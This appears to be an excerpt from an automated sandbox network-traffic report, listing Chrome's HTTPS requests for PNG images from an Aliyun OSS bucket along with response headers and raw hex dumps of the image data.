2024-09-27 03:51:02 UTC	659	OUT	GET /sichuang/images/2023/04/03/image_1680511227_Glxj11O4.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: image/png Content-Length: 4083 Connection: close x-oss-request-id: 66F62BA68915C63231A74CE0 Accept-Ranges: bytes ETag: "E741245E714A3F582AC323F8B6E796CE" Last-Modified: Mon, 29 Jan 2024 03:33:53 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 17112205369470847674 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 50EkXnFKP1gqwyP4tueWzg== x-oss-server-time: 2
2024-09-27 03:51:02 UTC	4083	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3f 00 00 00 3f 08 06 00 00 00 57 5f 10 df 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6e 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR??W_tEXtSoftwareAdobe ImageReadyqe<niTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49874	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:02 UTC	424	OUT	GET /sichuang/images/2023/04/07/image_1680859659_Or5EQBve.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: image/png Content-Length: 85404 Connection: close x-oss-request-id: 66F62BA6B4F3D43038F15BBF Accept-Ranges: bytes ETag: "469759B134586E89B4B93E8C6EA3A74D" Last-Modified: Mon, 29 Jan 2024 03:33:47 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 581197785291337088 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: RpdZsTRYbom0uT6MbqOnTQ== x-oss-server-time: 2
2024-09-27 03:51:02 UTC	15841	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 01 2c 08 06 00 00 00 9c d5 36 e8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR,6tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: d1 7c e5 b8 a2 4d 2e f1 04 4f d7 b7 ba b7 8e 2f 66 be b0 b6 b2 1a 30 59 0c c8 f0 c0 7a c3 24 8e 36 12 cd 63 16 87 c1 cf 97 b9 b3 72 e5 ca 75 22 c4 d7 17 b3 e2 7a 08 d3 84 1c f3 bd 89 39 04 19 df 65 98 be 7a 2e e2 d3 5b c1 95 26 e2 ba e7 6e bc 2f 4c 38 eb a4 e4 93 9e a1 01 cc ba 01 c4 8c 60 21 c8 34 8f ac d3 b2 56 1d 2b 75 2b 9d 3f d9 55 82 99 b3 19 58 5d d7 c4 a8 b4 d1 6a 6e dd 86 2c b8 d3 e5 7a d2 37 3f 13 37 d7 25 d2 e3 9c 15 12 27 ea ff 97 b5 bf 7e 6b 68 55 cd 00 96 7d 5b 1a 9c 47 7a ad ab 95 76 b9 d3 d4 ef 9c 56 b4 c4 f3 39 e7 ca 58 6f c2 45 c3 4b c6 9a 54 af 59 7d 43 6b 0b 37 eb bf 8b 3f d9 45 6e 5f 5d 7b 8c 2b da ea fc 32 07 64 96 79 63 c1 e8 54 33 ba 3a b6 2f 5a c0 c2 58 38 fb d4 8c d4 af 1d 5a 42 c7 26 bd 5a 73 e0 20 3f 0e f7 06 52 3e 66 36 96 92 Data Ascii: \|M.O/f0Yz$6cru"z9ez.[&n/L8`!4V+u+?UX]jn,z7?7%'~khU}[GzvV9XoEKTY}Ck7?En_]{+2dycT3:/ZX8ZB&Zs ?R>f6
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: b2 db 20 f1 a7 15 42 d7 fd 9a b1 a1 df 42 1e bf 54 bb 6b 84 c0 76 4d 01 20 fd 4b eb 22 12 5a 4c 17 e8 ff 57 c7 99 b7 c3 34 73 49 40 7b e2 08 1c f7 f0 c0 cc 2c 94 66 c0 b4 9c 14 04 b0 52 db ac 84 6a cc ad 99 b7 b8 ab 02 65 df 1a 49 4d 54 ce 69 d2 21 d6 7e ce 04 f3 6c 0b 10 b8 39 aa 86 c0 b6 32 ec 64 d0 88 94 a3 36 a1 de 2c b5 34 9e 6f 9e 7f 64 90 f1 5c 2f 04 d0 45 ab 56 a6 e5 cc cc 40 22 77 88 36 29 20 d1 54 79 ec 20 b6 3a a7 cf b3 e8 99 fe 46 64 68 c2 d5 25 33 0f 58 a8 cd 2a 90 19 a8 96 2e 2d b8 c0 15 21 e2 87 5d 7e bb 5c 0b 33 d6 f7 f9 d5 d6 ce a4 e9 cb 02 50 59 54 8c 77 4f c5 04 5a b8 f4 eb a6 9f 49 70 c1 5d 79 6d 32 a6 f5 dc ab 09 ef 18 9a ba 2e b7 46 6f 3b cf 96 46 55 e0 54 90 fb d4 4c 7b e6 4a 0f 66 60 b9 a7 51 dc eb aa 9e 67 db 67 37 19 86 ac 02 9a Data Ascii: BBTkvM K"ZLW4sI@{,fRjeIMTi!~l92d6,4od\/EV@"w6) Ty :Fdh%3X*.-!]~\3PYTwOZIp]ym2.Fo;FUTL{Jf`Qgg7
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: e9 dc cb 78 e6 1b e8 fb 9f 5c ca ef 92 ab b8 77 2f ee 9d 8e e7 ff 12 12 86 be 2c ff 40 9b ef a5 96 0c 73 b1 8f 23 2e 97 b6 2a a4 a7 f6 b2 d4 9f 22 fc 04 a8 dc 8e 34 10 ed 7d 78 f7 53 61 52 d6 9b 84 76 5f 98 e2 f1 fc 7e 15 7b 88 b1 58 3f 27 73 00 8f b0 84 b1 5c 87 fb 9f c8 4b 7a 95 d1 cf a9 a8 f3 06 cc cb df 41 88 6f 89 3d f3 21 20 4b 46 1f 9a c8 7a 95 ec 84 44 ba ce 94 22 48 90 80 91 84 4b 69 e3 b5 3e 84 17 94 9c f3 7d 3a e0 b9 e9 9b f6 b3 9c 6a a5 da a7 b4 cd ed bd 25 91 14 b1 88 76 ef c0 6f 4b 5d ba 2d 67 3d cd b9 fb c2 e8 52 e8 4a c1 34 69 fa 5c 62 2e c7 65 b7 7b 95 83 be 0b 30 5c 0b 96 9a c4 78 24 99 54 82 ee 91 51 b2 a2 a1 a5 04 78 6a 82 e2 97 33 04 d5 c2 1d 5a 79 81 17 f7 3b de 3f 00 7d 39 23 42 ee 3a bc 9c 81 f1 9e e7 f3 99 86 03 4c ed f1 c5 1c 99 Data Ascii: x\w/,@s#.*"4}xSaRv_~{X?'s\KzAo=! KFzD"HKi>}:j%voK]-g=RJ4i\b.e{0\x$TQxj3Zy;?}9#B:L
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: e7 7a 2a e7 80 8f 5d fb b2 96 b8 ea 29 60 26 92 ea 89 d9 4d 95 ac 7b 0c 63 fb 98 99 15 1d 84 bd b6 37 3e 09 bb 9e c6 3c 7c c9 89 12 f4 65 57 3d ab 08 1c b8 f7 18 90 e4 1d 4c 2c 06 c2 e9 f3 78 e7 6e 9e 61 c2 1a da b2 33 91 1e e6 fa 80 68 e7 27 31 c7 8d da 6f b5 46 75 08 49 d9 81 98 c7 ad 6d 1f b1 9f 74 0c fd 38 ea ba a7 5e bb 7f fa 14 d1 bc 2d 91 20 73 c3 0c ad 40 b8 9f 1f da da 52 10 ed 2b 98 41 fa 39 42 fd 0c 05 b9 b7 34 95 9e f1 55 30 0b 73 f8 0a 9e fb 3d 88 8f 99 1e 5a 34 cb 34 c1 c3 e2 fa 9e ad 06 d3 82 68 a1 59 c4 5e 20 66 4e 97 39 a3 ec b0 25 5d 96 4d 30 19 d2 d0 b6 94 22 79 d6 68 86 f2 74 c2 31 42 98 76 fa 42 f1 d9 c8 f6 39 05 f5 3e 9e 25 34 a9 37 8a 87 04 4d 82 75 19 e5 46 ec b5 1b 75 b6 d8 3f 12 ea 4e ac c6 9c 6f 8b eb bd d2 7e a1 8f bf a4 2f 84 Data Ascii: z*])`&M{c7><\|eW=L,xna3h'1oFuImt8^- s@R+A9B4U0s=Z44hY^ fN9%]M0"yht1BvB9>%47MuFu?No~/
2024-09-27 03:51:02 UTC	4027	IN	Data Raw: 65 c6 55 70 90 04 5a 1e c3 b2 a5 a1 cb 13 73 8c 05 2b f0 4c 73 5b 99 54 ea 68 d4 9e 4a 94 d9 6e 75 bd d0 88 92 dd 69 37 2d f6 c5 38 23 6d 60 55 f0 7d 6e 43 55 c2 5c 69 f5 6b e2 52 34 58 2d 13 ad ac cf ad 10 d2 77 2a c6 bb 95 2d 2c 84 f6 21 93 17 17 da 85 a0 de 67 d1 c0 45 70 2c 84 df 1f f3 14 15 14 cc a1 c0 78 9d 3b f1 bd 30 59 25 ba 4f a5 20 87 ed d4 98 2f 69 3c 11 f8 cf 18 ae 61 51 6f cc 5f d1 5e 58 06 77 c7 79 5f a4 f0 15 fd 83 89 da 4e c5 b6 6f b1 9c d0 92 5f c3 d8 27 b4 ad 43 f1 21 8b d5 14 b4 d9 fd c8 08 84 ed 8f 50 98 23 b3 0d dd 1c 98 a8 86 7d 52 5a 77 f4 a5 0d b9 e8 62 7b 0e 1f 75 b2 a2 70 75 49 ea 3f 6a 7b b9 78 5f 8f 7d 83 73 16 5d c5 5b 69 bf 79 1c d1 02 b9 8a e1 aa 09 98 65 fd 30 f4 cf b1 98 43 c6 a0 0e 27 90 b9 48 96 01 22 fa ed 5d 8b 16 2d Data Ascii: eUpZs+Ls[ThJnui7-8#m`U}nCU\ikR4X-w*-,!gEp,x;0Y%O /i<aQo_^Xwy_No_'C!P#}RZwb{upuI?j{x_}s][iye0C'H"]-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49875	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:02 UTC	659	OUT	GET /images/2024/05/10/sichuang/image_1715311213_h179c92l.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:02 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: image/png Content-Length: 141296 Connection: close x-oss-request-id: 66F62BA632308135394AF5E0 Accept-Ranges: bytes ETag: "9B88710F9608A9B5E9943D6600000000" Last-Modified: Fri, 10 May 2024 03:30:49 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 13090003232526272667 x-oss-next-append-position: 141296 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 2
2024-09-27 03:51:02 UTC	15837	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 09 70 48 59 73 00 00 0f 61 00 00 0f 61 01 a8 3f a7 69 00 00 06 f3 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRbMpHYsaa?iiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: f2 a7 3e 83 38 8a 31 3c 3c 8c 2b 2f bb 1c fb 0f 1e c0 f7 ef ff 21 04 17 38 75 fa 14 76 6c db 8e b7 df d9 87 e9 99 69 80 31 dc 79 eb 1d b8 f5 a6 5b f0 ca eb af 62 7a 7a 1a 9f f8 e8 c7 f1 b5 7b be 05 ce 79 d7 55 0f 84 e0 08 73 21 2e bd e8 12 bc f0 ea 4b 98 9c 9c c2 b6 ad db 70 ee f6 9d 38 7a fc 28 4e 9d 3e 85 8d e7 6c c4 fa b5 eb f0 d0 63 3f 01 4f a4 2f ec 75 d7 5c 87 f5 eb d7 e3 89 a7 9f c4 b5 bb ae 41 10 30 cc ce cd e2 57 3e f3 79 bc fa c6 6b 88 da 6d b4 5a 2d 44 71 84 5c 4e 5a e9 ef bc e5 76 9c b3 e1 1c ac 5f b7 1e 07 0f 1f c6 55 57 5e 85 2d 9b b6 e0 ad bd 7b d0 6c 35 71 7a e2 34 56 ad 5c 09 2e 04 e6 e6 e7 b0 7d f3 36 7c ee 93 9f 45 ad 51 c7 eb 6f bd 89 66 ab 89 46 ab 89 b9 f9 79 8c 8e 8c e2 fd 77 dc 85 6a a5 82 bf fa 9f ff 5d ba e9 14 0a 5e 4f 31 5b 76 Data Ascii: >81<<+/!8uvli1y[bzz{yUs!.Kp8z(N>lc?O/u\A0W>ykmZ-Dq\NZv_UW^-{l5qz4V\.}6\|EQofFywj]^O1[v
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 04 cf 14 9d cd 12 3a c3 79 3e c0 f0 44 4a 87 6e 4c 19 ef f4 ba c2 36 3d a6 8c bc 56 18 eb 2e 87 3e 5f e7 68 31 c3 ab 19 f6 16 3a bc 1b 13 b2 fa 13 5d 0a 98 1d 9c a5 8e bb 57 af fb 89 22 eb 60 47 d0 b4 30 f2 fb 18 ba 92 9d b8 7a 28 96 ae 7d a9 54 74 70 ee 2f 13 9e 31 b4 5a 2d ac 58 b1 02 bf f1 ab bf 86 81 6a 15 8f 3c f6 18 5e 7d ed 35 54 ca 95 8e 3c 7b 22 50 64 e4 ab 67 9f 8f e1 9c dc 54 8f 8a 5c a4 70 1c 58 1d ce 20 cf 38 a2 38 c6 d6 ad 9b 51 2c 95 70 7c 6c 0c 95 6a 05 97 5e 7c 09 0a c5 22 82 20 c0 e4 e4 14 de 39 70 00 ab 56 ae 44 9c 24 98 9e 99 c5 9a 35 ab 21 00 b5 9d 7d 05 87 8e 1c c5 b9 3b 77 60 6a 7a 1a 17 5f 78 01 ce 4c 9e f1 3a 16 ee 7e 00 36 2b ce 5d a6 ea 60 dd da b5 00 80 c9 c9 33 de 08 92 af 01 dd 6b da 87 00 ef 12 ca db 3d b3 e3 47 f8 d7 37 dd Data Ascii: :y>DJnL6=V.>_h1:]W"`G0z(}Ttp/1Z-Xj<^}5T<{"PdgT\pX 88Q,p\|lj^\|" 9pVD$5!};w`jz_xL:~6+]`3k=G7
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 98 d2 31 70 0e c6 13 24 09 47 94 44 00 e9 82 12 4f 9e 7f f1 c4 ae a2 76 6f 6a c6 a3 fe b4 78 20 b9 0f dc 9f 72 de a5 3f 69 26 2b ed 4e 1b b7 dd 72 b3 30 7b 5a 86 c8 4f a2 8a 7f 48 43 1a d2 90 06 a5 6e cb 31 59 21 84 10 c2 39 cf 35 1a af 54 7d cc cd 2e e1 9b df fc 3a 0e 1c 3c 80 a9 e9 69 dc 71 fb bb c1 18 c3 f4 f4 04 00 a0 d7 63 5a a3 5d ad 7a 68 35 db 78 ee b9 17 f0 d7 5f fb 2a 36 6c d8 08 4a 29 ba dd 1e 66 8f 1d 13 b7 6b 32 8e 91 d1 11 6f a4 3e 72 da be fd fb 6e df 3f 73 e0 83 cd 66 73 57 ab dd 1a e1 4c 5c bc 43 89 d0 32 47 51 84 b3 ce 3c 13 49 92 60 a1 bd 84 6a b5 9a 01 e4 59 80 2e fe a8 85 5e 28 d2 c5 8d 99 c2 45 a2 78 ce 58 a2 0f 61 b1 44 d8 7c 46 51 88 76 ab 8d b9 f9 39 5c 70 fe 05 b8 f2 8a ab c0 e2 04 f3 0b 0b 60 9c a1 d1 18 41 14 87 38 72 f8 30 0e Data Ascii: 1p$GDOvojx r?i&+Nr0{ZOHCn1Y!95T}.:<iqcZ]zh5x_*6lJ)fk2o>rn?sfsWL\C2GQ<I`jY.^(ExXaD\|FQv9\p`A8r0
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 02 5e 87 e5 d7 41 45 47 ce 6f 5e c4 9e 93 80 e7 47 b2 ca eb 57 4d d3 dd 56 5d 32 80 db 02 50 8a 29 82 5c 41 20 0f 5c a6 9f b9 29 ac 32 79 aa 9c 01 a9 68 a4 e6 66 b1 92 1d 03 62 de ee c2 7d 94 41 ec e6 53 20 da 5e 57 0a 45 db 65 b3 cc 01 e3 2c d1 5a 6f c6 8c 86 bc b9 b8 e8 ca 57 00 12 c6 d0 ed 76 31 bf 30 8f 63 c7 8e 21 08 02 78 d4 d3 0a 9b 56 bb 85 76 bb 8d 76 ab 8d 5e af 8b d1 b1 31 8c 8c 8c 60 cd d8 38 16 97 16 d0 6a b5 50 ab d5 b0 b0 b8 88 89 89 49 c4 71 0c 42 80 84 0b f3 d2 6e b7 83 b1 d1 ed a8 55 ab d8 f3 ea ab a8 d6 6a 58 3b 35 ad 85 84 74 bb f4 a9 e9 00 71 86 d4 8f a2 38 46 af db c5 86 0d 1b f0 6f fe e5 6f e1 fc f3 ce 3b d5 2c ad 96 4e d5 60 20 10 76 e9 6c 10 1e 4e ca de 43 92 c8 0b 78 72 40 39 97 40 dc a3 be c3 9f 13 47 3e 37 37 82 59 5a 6d 00 b6 Data Ascii: ^AEGo^GWMV]2P)\A \)2yhfb}AS ^WEe,ZoWv10c!xVvv^1`8jPIqBnUjX;5tq8Foo;,N` vlNCxr@9@G>77YZm
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: ed 42 ab ab d6 02 0a ed da 8f 88 17 5f 80 20 66 ad 11 ca 33 8b 2c 9f 8b c9 30 49 62 6b 52 84 06 fb 54 4f 7e 32 1f c5 2c a0 27 1a ae fd 7e 2b c0 9f c5 14 0e 59 e0 c2 b4 57 41 dc 81 c8 1e 47 ba 21 91 19 3f 04 7a f2 55 6e a9 a2 38 42 14 85 a0 94 ea 1b 4d a3 50 d8 85 f7 42 f1 3f 0c 8d 3f d9 44 4e ca b2 25 a1 3c 83 10 10 7d e0 d3 a9 07 81 f4 f0 e1 63 74 74 0c 7b f7 bd 81 33 4e 3f 13 f7 3e 70 1f 28 21 78 f6 85 e7 f0 c2 4b 2f 80 00 f8 f4 c7 3e 89 6e b7 8b af fc cd 57 f1 ff fa e5 5f c5 d3 cf 3d 87 6e af 8b 1d db 76 20 8a 23 6c dd bc 05 94 88 03 a2 b7 dc 78 0b be f8 95 2f 61 dd f4 34 7e f9 33 bf 80 07 1e 7e 08 df b8 eb 9b 98 9e 9a c6 f5 57 5f 8b 6f de f5 2d dc 7c e3 4d 00 e7 f0 83 00 d5 4a 15 4b cd c5 5c 40 a1 ba 23 8e 62 dc 70 cd 75 28 95 ca 78 ec c9 c7 b0 63 eb Data Ascii: B_ f3,0IbkRTO~2,'~+YWAG!?zUn8BMPB??DN%<}ctt{3N?>p(!xK/>nW_=nv #lx/a4~3~W_o-\|MJK\@#bpu(xc
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 7e df ae 1b 4f aa ce 44 ea fa 70 be 75 5f 49 8c 74 cd 8d fb 4a e2 31 ba 49 b3 53 c2 c1 13 63 65 27 1a 80 cc d7 92 fc a9 ca 5a d3 58 d5 75 1c ff 19 13 07 07 fd f8 ae bb f0 bf ff f9 9f 31 38 34 94 ee 9b 49 9a a4 e3 a0 89 df d4 09 47 8e 49 1f 63 b5 4f 45 6d 3a 72 e4 a0 78 96 93 e7 c9 32 96 4c 09 05 ec 95 95 2f 49 04 78 37 9b 60 64 1a 9d 9f 04 88 04 74 ea 03 7c 20 a3 8f 58 0a 01 d7 1a 0a ad 83 f2 67 67 80 b5 f9 14 3a 6f 59 16 63 a0 a1 e5 6c e8 de 84 8d fa 84 bf 73 81 a5 2f 35 25 db 22 a9 ea 41 16 6f b9 67 a3 0b e9 16 1d ca 8d 41 ef 05 74 7d 00 2d f0 95 5a 25 f0 4b 9b d4 55 f9 fa 3c bc dd 73 8d 2a 5e e9 d8 db e9 c6 34 01 94 f6 10 4b 95 d1 8c dc fa d1 39 30 0e 63 4e a6 42 96 4a 42 f2 4f cd bb 54 16 9e 5a fa fa c5 f8 1e f9 0b 6c 81 1a 25 55 7a 20 c0 50 a9 54 71 Data Ascii: ~ODpu_ItJ1ISce'ZXu184IGIcOEm:rx2L/Ix7`dt\| Xgg:oYcls/5%"AogAt}-Z%KU<s*^4K90cNBJBOTZl%Uz PTq
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: bd f5 bc 6d fe 98 3d 8e 0b f9 02 b6 6c dd 86 37 df 7a 0b e7 9f 77 1e ce 3b f7 5c 9c bc 72 25 36 6d d9 62 56 53 da 6c 01 27 0a 6e 1a cc b9 c9 9d be a4 46 07 cb 75 85 f2 39 9d b8 71 55 b4 a1 c6 c8 2e 3a 4e dd e8 2c cc 7d c7 3a ad e2 1f 9e d6 38 46 00 f2 90 ce 87 41 5a 7d 99 73 42 a7 64 ce aa 5d 74 56 99 f2 7c dc 45 7d 4f cf 3a a6 6e 35 ea 1a 8f 40 d3 6c 52 f3 26 e6 dc 57 40 9d 13 85 c3 3e 21 9a 31 20 8a dc f0 c7 e9 b2 38 a9 9f 18 ea 66 15 86 53 60 6f bd 03 ad 2a c0 1d 47 71 14 61 e1 c2 45 58 b1 62 15 62 19 90 e1 c3 4b 62 fe 54 2a 15 6c da ba 1d ab cf 5c 8d d9 b3 66 7e d0 95 9a a4 e3 a0 13 10 65 c5 6c 76 d4 7e e3 16 d3 81 06 da d6 6f e2 43 e9 c6 2d 35 13 d2 7e 46 45 42 61 01 4b 95 c3 13 ee ce 45 c2 c8 b8 ae 83 60 ac 89 35 93 45 8c 53 c5 00 05 60 8f 13 61 15 Data Ascii: m=l7zw;\r%6mbVSl'nFu9qU.:N,}:8FAZ}sBd]tV\|E}O:n5@lR&W@>!1 8fS`oGqaEXbbKbTl\f~elv~oC-5~FEBaKE`5ES`a
2024-09-27 03:51:02 UTC	10771	IN	Data Raw: fe 5d 1d b5 ca 1b d8 b9 b1 bd ae d4 05 65 0b 7f af 95 4a f3 2c 57 64 c3 bd 6f b2 4d 4e bc dc cd 50 9e 4e 80 2c 94 43 a8 f8 24 c9 64 a3 13 b7 ad c4 eb b5 6c d0 41 4b cb b7 31 b2 89 16 c4 85 56 0d e3 4b 2d ac 37 91 7f 4b aa 9f b7 51 88 b7 ce ae eb 74 c6 5a cd 5d 73 a5 4e 01 a0 d3 ed e2 e1 53 0f e2 f0 a1 43 75 57 87 36 40 ac 77 c8 c1 2a 9d 15 cb 28 2b eb 18 e1 40 4a 81 95 95 36 84 14 98 9c 9c 40 14 c5 63 9a 57 f5 fb 8a 77 d0 e3 95 83 4c 56 2c 2a 79 dc 91 12 8e 94 e8 f7 7b 70 1c 07 6f be fd 36 de 79 fb 6d 9c 7b ff 1c 96 97 97 b1 77 7a 16 9d de 2a ba dd 2e e6 f6 ce a2 1f 04 68 af ac a0 dd 69 4f 36 1a 8d e7 cf bd ff fe 17 ce 7f 78 e1 c9 ab 57 af ce 87 61 98 b4 46 e7 a1 3b 7d 6b 8f 9d 39 83 57 5e fd 11 9c a6 87 b1 d6 18 d2 ab 70 16 62 41 f2 1a 65 be 38 7d 36 f9 Data Ascii: ]eJ,WdoMNPN,C$dlAK1VK-7KQtZ]sNSCuW6@w(+@J6@cWwLV,y{po6ym{wz*.hiO6xWaF;}k9W^pbAe8}6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49876	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:02 UTC	424	OUT	GET /sichuang/images/2023/06/16/image_1686895055_YTKakKUA.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
